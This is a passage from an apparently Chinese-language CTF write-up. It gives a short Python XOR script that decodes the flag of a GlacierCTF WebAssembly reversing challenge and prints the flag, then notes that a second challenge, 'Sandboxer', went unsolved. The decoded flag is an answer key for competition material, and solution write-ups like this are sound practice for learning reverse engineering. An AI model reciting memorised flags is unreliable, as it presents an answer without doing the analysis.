  0[1]:int = a + 48;
  return 0;
}

然后一点点研究,慢慢理解代码的含义。大概就是3个值异或,于是得到flag

b = b"S\\QWU]J_PF[s\x18{esFUO%OG^IJ}\x00"
c = b"4242424242424242424242424242424242424242424242424242\x00"

m = [b[i]^c[i]^((i<<1)&62) for i in range(len(b))]
print(m)
#b'glacierctf{W4SM_RE_1S_FUN}\x00'

Sandboxer

没看明白,也没有远端了,算了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值